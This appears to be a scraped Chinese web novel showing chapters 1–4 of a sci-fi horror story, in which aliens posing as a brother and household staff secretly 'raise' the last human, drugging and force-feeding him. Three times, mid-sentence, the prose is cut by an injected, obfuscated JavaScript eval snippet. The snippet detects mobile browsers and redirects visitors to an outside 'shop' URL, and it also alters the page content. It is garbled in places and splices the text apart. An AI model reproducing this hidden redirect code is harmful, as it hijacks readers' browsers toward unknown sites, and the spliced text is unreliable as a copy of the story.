《如何饲养宇宙最后一个人类》 1. 接入 丁明昭最近觉得自己得了精神病。 一个平平无奇的周三,他离开实验室,吃了一顿平平无奇的饭,回到家,看完平平无奇的电视剧,最后在晚上十一点照常走进卧室准备睡觉。 在睡觉之前,他抽出每一个抽屉,打开每一个柜门,确保所有能够藏匿物品的空间都没有不该有的东西,接着反锁门窗,在把手上小心挂上头发丝,最后上床、关灯、闭眼。 黑暗从四面八方朝他侵蚀而来。 他双目紧闭,仰面朝上平躺,浑身紧绷,一下一下数着自己清晰的呼吸。 距离十一点零八分还有最后五秒。 五、四、三、二、一…… 睡觉的时间到了。 强烈的睡意又一次如期而至,拽着丁明昭的意识,粗暴地试图将他拖入深眠。他的指甲死死陷入掌心,试图凭借痛感保持清醒。 三秒,是他能够抵抗的极限。 他紧绷的身体不由自主地松懈,瞳孔上翻,呼吸悠长,不甘心地被迫昏睡。 在昏睡和清醒交错的刹那,他又陷入了那种奇异的状态,感觉到世界的伪装正随着他意识的消融而融化,像阳光下融化的积雪那样滴滴答答地开始流动。 他的卧室不再是卧室,而是一片没有边界的无形黑暗,黑暗中有数不清的瞳孔在注视着他,兴奋,好奇,狂热,紧张,不停抖动着,似是恨不得穿过屏障爬到他的身上。他隐约还听到了什么声音,是一连串蕴藏了秘密信息的诡异音节,无法用人类的语言破译,细碎绵密,宛若海浪的泡沫在沙滩上被挤破…… 丁明昭产生的最后一个念头是:自己的精神病发作了。 这个念头一闪而过,他毫无抵抗力地陷入沉睡。 梦里,大脑得到了彻底的解放,从人类的意识束缚中脱离,变成一个破旧的收音机,断断续续接收破碎的声波。 它们说: “光秃秃……柔软……脆弱……迟钝……小东西……” “……睡觉……吃饭……心跳……身体……精神……” “今日值班……学习……语言……管理……爱……” “啊……可爱……” “接入……想……吃……接入……软软的……吃……” “尝……” “……” 有能量在靠近。 梦里面,所有声音都在刹那之间消失不见,好像嘈杂的自习室等来了它们的班主任。围绕在他床头的暗影一个接一个往后撤离,一路退到距离他足够远的地方,眼球们也跟着隐匿进黑暗。 只剩下最后一个影子站在床头,低头凝望着床上熟睡的人,没有瞳孔的半透明白色眼睛悬挂在丁明昭的正上方,宛如两个诡异的玻璃弹珠。 一夜沉默。 丁明昭在早上七点半准时醒来,分秒不差。 他睁开眼,正对上一双盖着白色覆膜的眼球,挂在他头顶的天花板。 “……” 大脑还残留着梦境里残留的微妙感知,他浑身汗毛倒起,意识错乱,几乎要惊叫出声,而一只苍白的手从旁边伸过来,按在他的额头,手的主人用别扭的语调道:“早安。” 丁明昭下意识眨了下眼。 平平无奇的天花板映着清晨的阳光,哪里有什么眼球? 他心跳如雷,脸上浮现出古怪的表情,直勾勾盯着天花板又看了许久,然后才缓缓挪动视线,望向床边人。 他的“哥哥”站在那里。 丁明昭执行航空任务时不幸掉落黑洞,考察队将他救回来之后,他失去了一部分记忆,也多了一个“哥哥”。 虽然他对这个哥哥几乎没有任何记忆,但心理医生告诉他,这是因为他在黑洞里休眠了太久,导致大脑损伤,忘记了从小和他一起长大、作为他唯一亲属存在的哥哥。 丁明昭对这件事一直持有怀疑态度,出院后到处寻找哥哥的相关痕迹,甚至悄悄黑进公安系统查看他和哥哥的户口资料,但过去了好几个月,他没有找到任何破绽。 而这个哥哥,也一如心理医生所言,非常关照爱护他,爱护到了让人觉得匪夷所思的程度,无论丁明昭如何故意发火刁难,他都会没有任何情绪波动地满足弟弟的一切要求。 如果不是亲人,丁明昭很难想到还有谁会这样耐心,毕竟他现在已经因病退役,没有了各种金光闪闪的头衔,只是一名普通的大学讲师。 哦对了,他哥哥叫做丁一。 他看着床边人的脸,丁一和他长得并不是很像——更准确的说,他们朝夕相处数月之后,他仍然无法记住丁一的长相。 看到的时候觉得很周正很熟悉,一扭头,哥哥的长相就会像被抹平的褶皱一样光滑不留痕迹。 丁明昭握住丁一冰冷柔软、宛若无骨的手,忍不住情绪流露,沙哑地说:“哥,我觉得我的精神可能出问题了。” 丁一浅绿色的瞳孔一如既往无比平静地注视着他。 他极度的沉默寡言,过了好几秒才吐出两个字:“没事。” 丁明昭收紧手掌,牢牢攥紧大哥的手,手心的冷汗渗透进他的皮肤:“真的,你刚才有注意到天花板吗?我醒来的时候看到天花板上挂着两个眼球,我很确定我看到了!” “……”丁一反握住他的手,用他那不知从何而来的奇怪口音重复:“没事。” “我不是在开玩笑!”丁明昭坐起身,眉头紧皱,靠近大哥,“我发现我每天晚上我都会在同一时间睡着,梦里总能听到奇怪的声音,第二天又会在同一时间睡醒——你看,又是七点半。” 丁一的瞳孔动了一下,像是一个扫描的机器,把丁明昭的神色飞快扫入眼底。 “没事。”他第三次回答。 丁明昭对着他玻璃珠质感的瞳孔,忽然涌出一阵无名火。 他甩开丁一的手,从另一侧下了床,背对着大哥起身,冷声道:“你去上班吧。” 丁一站着没动。 在丁明昭看不到的地方,它的瞳孔消失,眼球被覆膜遮盖,从脊椎处探出一条粉色的细长触手,如穿无物之境般穿过卧室墙壁,探入室外,亮起淡色荧光的通道,前后大约三秒,又迅速收回体内。 室外,还未具象化的混沌时空之中,等候已久的生命体们得到了指令,开始有条不紊地开始新一轮工作。 丁一绕过床,走到丁明昭身边,人类的手臂生疏地揽住他的腰。 “吃饭。”它说。“没事。” 丁明昭怒气未消,怒意中夹杂着倾诉被无视的挫败。他把丁一推开,焦躁地拉开全部抽屉,再次检查昨晚留下来的陷阱,但所有头发都好好地待在该在的地方,证实了昨晚不仅没有任何生物进入过他的房间,甚至连风都没有吹进来过。 丁明昭转过身,正对上跟过来的丁一。 两人之间只隔了几厘米的距离,丁明昭呼吸急促,而他的哥哥平静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554224|204404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得几乎没有任何呼吸的迹象。 “我今天不去上班,”他告诉哥哥,“我要去医院。” 丁一把手放在他的头顶,仿佛在执行什么兄友弟恭的任务,机械性地抚摸丁明昭的头发,笨拙安抚他的情绪:“好,吃饭,没事。” 丁明昭顿时火上加火:“哥,你到底有没有在听我说话?!” 丁一的嘴角动了动,继续摸着丁明昭的头发,像是摸上瘾了:“嗯,没事。” 丁明昭:“…………” 他深吸一口气。 ……没事。他默念这个词。 心理医生虽然反复跟他强调他的大哥很正常,但这段时间相处下来,他总觉得他哥在智商上有点什么问题,要么是天生的智障,要么有语言表达障碍。 他放慢语速,照顾着一直不怎么会说话的大哥,又重复问了一遍:“你早上进我卧室的时候,有没有看到天花板上有东西?” 丁一微微偏头。 丁明昭怀疑这句话里一半以上的词汇他都理解不了。 但出乎意料的是,过了大概四十多秒,空气都要凝结的时候,丁一忽然变得一切正常,用流畅、标准、没有任何口音的声音回答:“没有眼球,宝贝,我进来的时候你睡得很香,天花板上什么都没有。精神上的问题不用担心好吗?你在黑洞里遭受了严重的大脑损伤,偶尔产生一些幻觉也是正常的,我会陪你慢慢恢复。” 丁明昭深深皱起眉,直勾勾地盯着丁一的脸。 丁一又往前走了一步,第三次摸上丁明昭的头发:“今晚我陪你睡,别怕。先去吃早饭吧,我和管家们五点起来做的。” 丁明昭:“哥,你有没有去查过你的精神状态?” 丁一微笑,像是在刚才那两段话中耗尽了思考能力,变回奇怪的口音,重复:“嗯,没事。” ……又来了。 丁明昭彻底无语,看着眼前的人,啧了一声,把它黏在自己脑袋上的手拍开,转身进浴室洗漱。 半小时后,兄弟两人并肩坐在餐桌边,长长的餐桌摆满了食物,一顿早餐而已,竟然摆出二十几道菜。 丁明昭心情很不好地抱怨:“我说了不用做这么多,我们两个人才能吃多少?每天不知道浪费多少食物。” 家里的管家、保姆、厨师整齐划一地站在厨房前,脸上带着热情到诡异的笑容,连连点头,目光灼灼地看着丁明昭,好几分钟都没眨眼睛。 丁一给他夹了一块造型极其精美的雕花萝卜:“没事,吃。” 丁明昭无奈道:“你们怎么都不听我说话!我起码提过二十几次,早餐只用两三道就行了。” 丁一:“没事,多吃。” 后面站了一排的人跟着热情无比,鹦鹉学舌一样,口音各不相同:“多吃。” 丁明昭:“……” 他用力咬着牙,挨个把这里的每个人都瞪了一遍,最后夹起那块萝卜,塞进嘴里。 吃的是萝卜,口感是豆腐,味道是炖鸡。 又是这样。 丁明昭面无表情地咀嚼、下咽,然后放下筷子,站起身:“我吃饱了。” 他扭头往楼上走,留下一桌不知道到底是什么东西的丰盛早餐。 而客厅里所有“人”脸上的笑容,都在同一时间消失不见,取而代之的是慌张的神色和乱飞的五官。 【饲养第89个周期】 【饲养失败第89次】 2. 饿 丁明昭最后还是去看了心理医生。 这位心理医生姓林,是军区给他安排的专家,从他被救回来开始一直负责他的心理咨询。 林医生长着一副相当可靠的模样,看起来五十多岁,戴眼镜,秃顶,微胖,永远挂着和蔼可亲的表情,笑容好像是长在了那张慈祥的脸上,简直是教科书级别的心理医生长相。 丁明昭坐在它对面,神色郁郁,道:“林医生,你上次说我的精神状态没什么问题,但我最近总感觉不太对劲。” 林医生用极其标准、标准到宛若播音员的语调说:“具体是哪里不对劲?” 丁明昭沉默了一会,缓慢开口,一项一项地描述: “我最近每天走路去上班,发现在路上看到的场景会以星期为单位重复,比如每周一的八点零八分,路口会有同一个大爷牵着同一条狗过马路,周二八点十五分,肯德x对面会有穿高跟鞋的女士和我擦肩而过。 “我的学生们,每十天会按照相同的顺序进教室,然后各自坐在十天前的座位上,而且他们永远不会同时和我说话,一定要一个说完、才轮到另一个说。 “除此之外,我好像被人操控了睡眠的时间,味觉也失灵了,尝的每一道菜都跟记忆里的不一样。我的大哥……” 丁明昭在这里停顿了很久。 “我哥有时候表现得像有语言障碍,有时候又很正常。我最近有点太依赖他了……不知道是不是对他造成了太多的压力。” 说到这里,他深吸一口气,伸出手掌,捂住自己的脸,压住脑中越涌越多的异常细节,尝试让自己冷静:“要么是我不对劲,要么是我们所处的世界发生了什么变化,医生,你觉得呢?” 医生有一会没说话。 等丁明昭重新冷静下来,从桌子上抬起头,想要去看医生脸上的表情,却正好错过医生皮肤里一闪而过的细密荧光纹路。 林医生依然在和蔼微笑。 他说:“丁先生,关于您说的场景重复,您确定您的记忆是准确吗?” 丁明昭脸色苍白,声音更哑:“我确定。我的记忆力很好,这是作为宇航员的最基本素质。” 林医生加深笑容,开始有条不紊地使用大量专业词汇,证明大脑是具有欺骗性的,而丁明昭的这些问题只是因为在航行期间出现了意识错乱,不严重,不用去管它就能慢慢恢复。 一口气说了足足半个小时,哪怕丁明昭接受过专业的心理培训,仍然只能听个半懂。 林医生微笑着起身,微笑着给他开了药,然后微笑着将他送出诊室,祝他早日康复。 丁明昭拎着药站在街头,望着川流不息的街道发愣。 啊……所以真的是他精神有问题。 他攥紧手中的药袋,缓慢而悠长地往外吐气,把积在肺部的压力全部释放出来。 那就好。他想。得了精神病之后感觉精神好多了。 他情绪好转,当街掏出一颗药吃掉,然后趁着今天休假,拎着药去菜市场买菜。 菜市场人满为患,嘈杂无比,但他听不懂这些人说的任何话,只有在和菜贩子交流的时候才能勉强从浓重的口音重辨认出信息。 丁明昭买了鸡肉、鱼和虾,他很饿很饿,饿得甚至想生啃食材。 提着菜到家后,大哥不在,只有管家和厨师站在客厅,背对着丁明昭,头靠着头,也不说话,不知道在干什么。 丁明昭:? 他咳嗽一声。 两人迅速分开,过了几秒才扭过头来,脸上带着如出一辙的热切笑容。 他们家厨师是一名长相平平无奇、过目就忘的年轻男人,唯一的记忆点是左耳尖尖有一颗痣,管家比他年纪大一点,五官同样没有任何特色,但下巴比一般人要长。 丁明昭平时暗暗叫他们左耳痣和下巴长。 他迟疑的扫视着左耳痣和下巴长的脸,后者拘谨地站在原地,目光却狂热激动,齐齐整整开口:“好!” “?”丁明昭莫名其妙,“好什么?” 左耳痣:“好……好的……早上好!” 丁明昭看了一眼手表,已经十二点了。 他颇为无语,但家里工作人员不正常也不是一天两天,每个人都多少带点神经质。 他道:“你们今天休息吧,我没上班,正好自己做饭。” 管家和厨师瞬间齐齐瞪大了眼,好像听到了什么极其恐怖的话。 丁明昭没理会他们,径直走进厨房,开始处理食材。 在他身后,管家和厨师被吓得从背后蹿出密密麻麻的长须,飞快穿过墙壁,探到场景外的虚空中,亮起荧光,向其余同类求助。 无法用任何人类词汇理解的信息通过长须来回传导,不需要产生声波,像芯片里流窜的电信号一般高效。 如果换算成地球时间,也许只过去了0.01秒,它们之间完成了意见的交换。 它们在“说”: 【三级危机预警,请神父先生即刻介入处理紧急情况!饲养对象正在直接接触未经处理的假食材,中毒警告!中毒警告!!!】 【神父未接入主干,呼叫等待……】 【一次呼叫失败,请继续伪装,呼叫等待……】 丁明昭转身去客厅拿东西,它们又飞快收回长须,同时侧身让出路径,笑容因为紧张而扩到了极致,左耳痣的嘴角已经快咧到他的耳朵边。 两秒后,指令通过虚空传递到它们脑中。 【神父已接入。02和03号饲养员,找机会做好食材伪装,负责人需要在饲养周期5小时后抵达】 “好……好!”左耳痣磕磕巴巴地说。 丁明昭:“又好什么?” 在丁明昭看不见的地方,左耳痣五脏六腑都亮起了慌张的荧光,也来不及使用仍处于开发中的人类语言转换系统,悄悄和同事沟通后断断续续发音:“好……好,好!好……中午好!” 丁明昭:“……” 他穿过这两位奇葩的职工,去客厅的冰箱取了两瓶啤酒,再转身的时候,左耳痣和下巴长不知什么时候进了厨房,正以极其诡异的姿势趴到他的食材上。 丁明昭心头猛地一跳:“你们在做什么???!” 它们迅速直起身,一边朝饲养对象傻笑,一边僵硬地从厨房挪出来:“好……中午好!!” 莫名其妙。 丁明昭皱眉回到厨房,迟疑地扫视着砧板上的食物,看上去和刚才没什么区别。 他把厨房门关上,关之前重重地说:“你们去休息,不用管我。” 下巴长:“好,好!好的,好。” 他带着左耳痣以相当奇怪的姿势缓慢远离厨房,两双眼睛全程直勾勾地盯着丁明昭手上的刀,连眼睛都不眨一下。 丁明昭继续做饭。 做饭也是曾经工作的必备技能之一,他做了炖鸡、白灼虾和清蒸鲈鱼。 好饿,好想大吃一顿,好想把整个冰箱吃空。 丁明昭被狂躁的食欲控制,咚咚咚的剁着砧板,只花了四十分钟便把菜端上餐桌,口腔里不停分泌唾沫,急切地盛好米饭,在开吃前甚至又吃了一颗药,防止自己的味觉再次因为精神错乱而错乱。 他端坐在餐桌边,深吸一口气,在极大的期待、忐忑、紧张、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554225|204404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渴望、焦躁等一系列情绪中,郑重地夹了一筷子鱼肉,放进嘴里。 纤维口感,白菜味。 丁明昭的神色凝固了。 他雕塑一样静坐了足足三分钟,然后白着脸夹起一块炖鸡。 橡胶味,塑料口感。 再夹一只白灼虾。 口香糖味,苹果口感。 丁明昭失去了脸上最后一点血色,放下筷子,看着眼前色相俱全的丰盛食物,一边被饥饿烧得内脏搅作一团,一边胃里恶心翻滚,想吐。 整整三个月了。 从被救回母星之后,他味觉失灵,没有吃过一顿正常的饭,每天进食都是一种折磨,不得不靠着营养剂维持生命体征,过去常年保持巅峰状态的身体越发消瘦。 他心中忽然涌起一股难以压抑的狂躁,是口欲长期得不到满足后的崩溃。 他额角直跳,手捏成拳,强忍着不要让自己掀了这张桌子,忍了许久后挫败地重重锤了一下桌面,起身大步离开客厅。 客厅窗边。 四只眼睛贴在玻璃上,瞳孔追随着丁明昭的身影,目光中带着同样的崩溃和挫败。 【饲养第90个周期】 【饲养失败第90次】 【我们仍然无法准确理解人类食物的味觉表达方式】 【失败数据已上传数据中心,总负责人审批中……】 傍晚六点,丁一接入主干。 它远远闻到人类的味道,低沉消瘦,仍然在沉睡,甚至大概率是昏睡,因为报告里说他拒绝了再食用营养剂。 它爬进玄关,示意所有紧张的同事先离开,然后直立起身,收起肉须构成的翅膀,每往里爬行一步,便在虚拟系统的伪装下更像人类一分,直到爬到楼梯边,已经完全是成熟人类的模样,转而用双腿行走。 相比于其余研究员,它是唯一一个可以不用借助语言工具跟人类简单沟通的生物,而且最近明显加快了学习进度。 它走上二楼,身后蹿出两条触手,探入虚空,传达最新的指令。 【饲养对象出现精神失控,失控原因为饲养系统错误介入,判断为二级饲养事故】 【即刻起关闭监控】 【关闭数据中心】 【关闭饲养系统】 【待判断警戒解除后,再重新开启】 虽然是傍晚时分,但这个世界的光线以反常的速度飞快沉入地平线以下。 丁一微微偏头,等待片刻后推开房门。 它没发出任何声响,悄然在床边坐下,奶白色的眼球注视着沉睡中的人类,内脏在看不见的地方发出了淡蓝色的荧光,这是一种低沉焦躁的情绪信号。 它伸出手,半截手指从伪装的皮肤变为半透明的坚硬覆膜,贴上人类的脸,轻而缓慢地小心抚摸,仔细感受这种对于它来说极为奇妙的触感。 很暖和。 脆弱又柔软。 这个生物的每个毛孔都渗透着宛若恒星直照后的清爽香味,每项外貌特征都奇妙得超出它们种族想象的极限。 这是宇宙里的最后一个人类,也是它们找回新生的珍贵转机。 无论用什么手段…… 丁一眨了下眼睛。 淡蓝色的荧光慢慢转变成热切的红色,泄露出掩藏在冠冕堂皇理由下的情绪波动。 它从触手最深处抽出一小袋未经审批的食物,从人类的视角看起来,像是一小袋切好的卤肉。 接着,它控制好嘴部的肌肉,让自己伪装的脸上精准勾起温和的笑容。 “宝宝,”它用奇异的腔调低低开口,“吃,我带了吃的。” 3. 羁绊 丁明昭被浓烈的食物香味从昏睡中唤醒。 他闻到了一股完全陌生的气味,像加了未知香料的肉食,或者不知名品种的花,或者刚烤出炉的蘸满蜂蜜的糕点。 大脑还没有清醒,他的身体已经提前做出反应,心跳加速,胃部收紧,口腔疯狂分泌唾沫,因为长期饥饿而苍白的脸上浮现出不正常的红潮。 他像一块被吸起来的磁铁一样情不自禁坐起身,目光直勾勾看向丁一手里的东西。 那东西用食品袋装着,是切成一块一块的“卤肉”,肉的纹理紧密扎实,肉的颜色呈现出鲜艳的血红,每块有半个巴掌大小,叠在一起,总共大约八块。 丁明昭不由得靠近丁一,喉结滚动,过了好几秒才用湿润的声音开口:“这是什么?” “卤肉,”丁一的视线紧紧追着丁明昭,笑容扩大,脸部肌肉紧紧绷着,似乎在紧张,“我做的,吃。” 丁明昭的喉结又动了动。 他饿得心里发慌,又对“卤肉”的颜色感到不安,片刻后把目光挪到哥哥的脸上,不确定地重复:“……卤肉?什么肉?” 丁一保持着紧绷的微笑。 “牛。”他说,“没事,吃。” 他拿起一块肉,递到丁明昭唇边,催促:“吃。” 难以描述的奇妙气味直冲鼻腔,说不上是香味还是腥味,却勾起了丁明昭基因深处最原始的食欲。他的胃部开始疯狂痉挛,眼睛饿得发红,一时之间什么都想不了了,本能抓住了丁一的手腕,张嘴咬下。 牙齿才刚一碰到,肉就在他口腔里化开。 像是某种活的东西,顺着他的舌头和食道钻入他体内,甚至没给他尝出味道的机会。 他微微一愣,低头再看,丁一已经拿出第二块,同样送到了他的嘴边,重复:“多吃。” 先热起来的是胃。 长时间处于饥饿状态下的胃开始沸腾,好像一滴水掉进了石灰中,产生的大量热量顺着胃壁和血管往全身蔓延,汇聚到心脏,最后一股脑涌向头顶。 丁明昭感觉全身都在燃烧,脸迅速通红一片,直觉刚才吃下去的东西不对,但身体似乎不听使唤了。 那股奇异的腥气比刚才浓郁了几万倍,嗅觉正在对它做出过敏反应,勾得他心中挠心抓肺的痒。 丁一像是看出了他的动摇,笑了一声,用指腹蹭了蹭他的嘴唇,指尖探进去,卡在他的牙齿之间,肉眼不可见的绒毛扎入上颚皮肤,感受着人类的漂亮又温暖的血管形状。 “多吃,”它玻璃珠模样的瞳孔仿佛在发光,折射着丁明昭的影子,“你瘦了,多吃。” 丁明昭身体微微发抖,牙关紧闭,直觉不能再吃下去,可偏偏身体不受控制,片刻挣扎后不情不愿地张开嘴。 第二块卤肉喂进了他的嘴里,和刚才一样,入口即化,化为密密麻麻的小蠕虫,争先恐后涌入他的喉咙。 紧接着是第三块、第四块……不到两分钟的时间,一小袋肉全部吃完。 丁明昭耳朵里嗡嗡作响,嘴唇还保持着半张的姿势,五脏六腑被看不见的大手揉成了团,血管疯狂膨胀,一团火压在他心脏里,像是随时要把他炸成碎片。 他干呕了一声,伸手想去抠烧起来的喉咙,丁一牢牢扣住他的手腕,鼻翼翕动,愉快地闻着丁明昭身上散发出来的淡淡腥气,将人类一点点拽进自己怀里。 “哥,好热……呕!”丁明昭下意识贴上丁一冰冷的皮肤,鼻腔不知不觉涌出两行血,“呕……” 丁一的手心被他的鼻血打湿,它亲昵地捏了一下他的鼻头,鼻血又神奇地立刻止住。 “没事,”它顺着丁明昭的背,“没事。” 丁明昭侧过头去,下巴抵在丁一的肩头,干呕到浑身痉挛,额头全是冷汗,一只手扯开自己的衣领,另一只手去扯丁一的衣服:“你给我吃了什么?我好热,好难受。” 丁一看着他烧得一片浑浊的瞳孔,眼睛愈发透亮,看不见的体内亮起兴奋的荧光。 “牛肉,”它像动物一样蹭着丁明昭的脸,“好吃吗?我做的。” 嘴里说着,它干净利落地把自己和人类一起剥光。后者像快渴死的鱼一样滑进它的怀中,靠大面积的皮肤接触给自己降温,丁一从身后环抱住他,双手在他看不见的地方化为细长肉触,一节一节吸附在丁明昭的脊椎上,吸盘的顶端探出细到用人类肉眼无法察觉的小绒毛,扎进皮肤,钻入骨髓。 丁明昭只感到一阵细微的发痒,被掩盖在身体的燥热里。 “呕……”他又开始吐,身体仿佛陷入了某种强烈的排斥反应。 丁一用脸颊贴上他的脸颊:“没事。不痛。没事。” 绒毛抚摸着丁明昭的骨髓。 吃下去的雄蕊已经被吸收殆尽,布满人类血管。吸进来的骨髓沿着触手流入丁一的体内,与它的汁液融合在一起,完成了这个仪式的最后一道程序。 在“鲜血”和“体夜”互溶的瞬间,丁明昭脑袋里“轰”的一声,好像被人从更高维的角度撞散了意识。 他从丁一的皮肤里闻到了和卤肉一模一样的腥气,像深邃的海洋,又像长在树根底下的潮湿青苔,让人分不清是动物还是植物,却莫名上瘾。 他怔怔地看着眼前人周正又平平无奇的脸,感觉到视野开始模糊涣散,整个世界都扭曲起来,他的人类好哥哥变成了某种无法看清的怪物,蒙在灰色的雾气里,而雾气里投来的巨大暗影将他完全包裹其中,暗影的背后似乎有一对活的、肉做的翅膀,此时正慢慢张开,朝着他的方向…… 丁明昭眼睛一阵剧痛,瞳孔上翻,身体软绵绵地滑落,正坠入由触手构成的翅膀之中。 …… 【监控再启动】 【数据中心再启动】 【饲养系统开始运转……】 【总负责人已接入主干】 【饲养第91周期,00:00】 【因上一个周期饲养失误,取消强制休眠-苏醒程序,丰富场景精细度,加快语言转化系统建设】 【……】 丁明昭再次醒来的时候,外面天还没有亮。 他看着漆黑的天花板,大脑一片空白,不记得自己是什么时候睡着的,也不记得自己睡前都做了些什么。 他的身体正处于懒洋洋的舒适状态,胃部更是罕见的充实平和。 过了好几分钟,他首先意识到,自己今天居然不是在七点半醒来的。 他惊讶地想要抬手看手表,紧接着发现四肢已经被牢牢禁锢。 他的枕边居然躺着其他的生物,那生物与他严丝合缝地拥抱在一起,肢体宛如绳索般紧紧将他环绕。 丁明昭警惕性很强,也非常讨厌跟别人肢体接触,此时却从这个动作中感到一阵绵长的安宁,主动将头贴过去,靠在一片柔软的发丝里。 又过了许久,他才意识到他们正在做什么。 ——他和丁一不着c缕,在丝质的被子里不带任何色青意味地亲密环抱,像是一对在母亲子宫里彼此纠缠的双生胎儿。 丁明昭一点点睁大眼。 他终于看清黑暗里情景,丁一也醒着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554226|204404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼吸轻不可察,浅色的瞳孔在房间里发着异样的幽光,嘴角微微勾起,冰凉的手掌顺着丁明昭的背部往下滑。 “早。”丁一开口说话,“起来吃饭。” 丁明昭喉结轻轻滚动。 什么情况??? 鸡皮疙瘩一层一层涌上头顶,丁明昭猛地推开大哥,飞快挪到另一头,起身去摸自己的衣服:“……你怎么会在这里!” 丁一说:“陪你睡。你,噩梦。” 它说的如此自然,眼球却紧紧跟着人类的一举一动。而丁明昭正火急火燎地转过身去套衣服,因为羞耻整个身体紧紧绷着,背脊在丁一面前弯出一道漂亮的曲线。 ——以脊柱为中轴,人类的皮肤上爬满了绿色的荧光纹路,像是春天里扎入土壤后疯长的爬山虎。 浅色的瞳孔愉快放大,丁一几乎克制不住想要爬过去,用触手扎入人类的脊椎,再用绒毛舔舐甜美新鲜的骨髓。 “我怎么不记得了,”丁明昭眉头紧皱,尴尬得要命,“做噩梦也就算了,你……我……怎么会都没穿衣服?” 他套完裤子,转过身质问丁一。 丁一微微偏头,整个人仍然靠在床头,被子因为丁明昭刚才的动作滑落了大半,上半身就这样暴露在空气里。 它的皮肤光滑到诡异,身体肌肉线条标准得宛若医学教科书上的人体示例,尾巴蛰伏在丛林中,从被子里探出一小半。 而它坦然维持着这个姿势,神色茫然,似乎没有理解丁明昭正在意什么,疑惑着重复:“衣服?” 丁明昭:“…………” 他从衣柜里找出一套衣服,丢在丁一身上:“穿上!像什么样!” 丁一接过衣服,点点头,就这么光着径直站了起来。 丁明昭尴尬地先进洗手间,一边洗漱一边拼命回忆昨晚发生了什么,但直到洗完澡坐在餐桌边,他也没能想起任何片段。 他暂且放下疑虑,低头看向餐桌。 今天,家里的佣人们似乎终于接受了他的建议,没有再做满桌的早餐。 放在他面前的只有一碗热气腾腾的小米粥,旁边是一碟青菜、一盘小笼包。 丁明昭瞳孔微微收缩,喉结不自觉地滚动了一下。 他从这些食物里闻到了奇怪的味道,有一点点腥,一点点甜,很清爽,让人联想起刚捞出水面的海带。 这是绝不属于小米粥、青菜或者小笼包的味道,却意外地让丁明昭产生了食欲。他觉得饿,情不自禁地拿起筷子,伸向眼前散发着陌生气味的东西。 而在他周围,管家、厨师、佣人站成一排,都用同样的表情直勾勾地盯着他,生怕错过他的每一个细微表情。 丁明昭把青菜放进嘴里。 ——那是没有做过任何味觉伪装的原始食材,尝起来很独特,很脆,很嫩,和地球的青菜没什么关系,又让丁明昭觉得很亲切,至少他的口腔和胃不再像之前那样排斥错乱的味道。 他犹豫两秒,被抹去的记忆蠢蠢欲动,喉咙里产生了类似于被大量蠕虫划过时的错觉。 刹那间,丁明昭的胃里好像再次烧起来了,他想吐,但身体本能地渴望着什么,五脏六腑痒得让他发狂。 来不及多想,他把诡异味道的青菜咽下去,接着更急切地将筷子伸向小笼包。 这个动作让这里除了他以外的所有生物的嘴角都咧到了接近耳根的地方。 它们在狂热的喜悦中接收到了饲养系统给出的评判: 【饲养第91个周期】 【饲养成功第1次】 4. 雄蕊 小笼包的味道和青菜又不同,竟然真的有层次感,外面的皮尝起来软糯绵密,里面的馅汁水饱满,口感介于植物和动物之间,带着难以形容的诡异甜味。 小米粥反而是淡淡的酸味,非常粘稠,几乎接近于橡皮泥,一口下去差点挂在喉咙里,只能靠着小笼包里的肉汁把粥咽下去。 这些食物虽然冒着热气,但没有多少温度,到口腔里时凉凉的,到了胃里又开始发烫。丁明昭很快吃得流汗,脸颊滚烫,嘴唇鲜艳得像是沾了血。 他已经意识到不对劲,也许是食物有问题,也许是他的精神比昨天进一步恶化,但他无法停止自己的动作,饥饿了好几个月的身体操控了他的理智,让他只能不停地夹菜、咀嚼、下咽。 三盘食物很快开始见底,丁明昭的腹腔微微鼓起,脸上已经满头大汗,神色也逐渐恍惚。 他盯着那些食物,慢慢竟感觉视野开始模糊扭曲…… 盘子里装的,好像不再是他熟悉的人类食物。 淡黄色的小米粥变成了深绿色的黏液,黏液里密密麻麻全是还活着的半透明虫子,每条虫子的躯干最中央长着一只乳白色的眼睛,此时正在一片深绿的汤汁里齐刷刷盯着他。 翠绿的青菜带上了诡异的鲜红色纹路,干瘪,发皱,和蔬菜毫无关系,让人联想到某种节肢动物褪下来的皮。 小笼包看起来才像真正的粥水,外面用半透明的膜包裹着,内部是还在旋转流动的淡蓝色液体,在昏暗的晨光下散发着诡异的荧光。 …… 丁明昭瞳孔剧烈颤动,背后已经被汗水浸湿,恐惧和恶心让他的内脏开始痉挛,但他就跟着了魔一样,仍然无法停止进食的动作,甚至对这些“食物”产生了比刚才更浓烈的食欲,眼睁睁地看着自己继续伸出筷子,将最后的剩下的东西全部塞进嘴里。 直到全部吃光,那股烧心的食欲才稍稍缓和。 